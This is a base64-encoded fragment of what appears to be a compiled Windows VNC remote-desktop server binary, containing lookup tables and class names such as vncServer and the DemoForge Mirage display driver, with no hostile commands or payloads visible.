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IAAgBAACAIAAAACAggAAAAACAACCAACAAgAAAAACAICAAACAAgIAAIACAAACAgAAAgAAAIACAICCAgAAgAAAAIICAIAAAAAAAgIAAAAAAICCAACAAAAAgIAAAACCAgAAggIAgIACAIACAACAgAAAAIACAIACAgAAAAIAgIIAAIAAAAAAAgAAgIIAAAACAgAAgAIAgAAAAACAAACAggAAgAIAAAAAAACAAAIAAIACAICCAACAAgIAAAIAAIAAAAAAAAIAAIICAIACAAAAgAAAAAICAICCAgAAAAIAgIAAAICAAgAAAgAAAIICAIACAgCAAAAAAIICAICAAgAAAAIAAIIAAICAAEggACBIAAAgSAAAIAAAACAIIAAgQCAAAEAgAABIAAAAAAAAAAggAAAIIAAgSCAAIEAAAAAAAAAgACAAAEAgAABAAAAACAAAAAAgAABIIAAgAAAAAAAgAABIAAAgCAAAIEAgAABAAAAgCAAAIAAgAAAIAAAgCCAAIEggACBAAAAgACAAAEAgAAAIIAAgSCAAIEAAAAAAAAAAAAAAAAggACAIAAAgACAAIEAgAABAAAAASCAAIEgAACBIAAAgAAAAIEggACBAAAAAQAAAAAgAAABAIAAASAAAIAggACBAIAAASAAAIAgAAAAAIAAASCAAIAAAAAAAIAAACAAAIAggAAAAQAAAAEIAgAACAIAAQBCAAAIAAABAAAAAABAAAAIAgABCEAAAAgAAAEAAgABCEAAAQBCAAAIQgABCAAAAABAAAAAAgAACEAAAAhAAAAAAAABAEAAAQhCAAEIQgABAAIAAAhCAAEAQAAAAAAAAABCAAEIAgAAAAIAAABCAAEIAAAACAAAAQBCAAEAAAAAAAIAAABAAAAIAgABAEIAAQhAAAEAAgAAAEAAAAhCAAEIAgABCEAAAQAAAAAAAgAACEIAAQhCAAEIAAAAAEIAAQhCAAAIAgAAAAAAAAhAAAAAQgABCAAAAQACAAEAQAAACAAAAAAAAAAIQAABCAIAAQBAEAAAIAAAQCAAQAAAEEBAIAAAQCAQAAAAEEBAIAAAQAAAQAAgEEBAAAAAQAAQAAAgEABAAABAACAAAAAgEEAAAAAAAAAQAEAAEEAAIABAAAAAQEAAEEAAIBAAAAAQAEAgEABAIAAAAAAQQEAAAEBAIBBAAAAAQEAAAEBAIAAAA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AAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAA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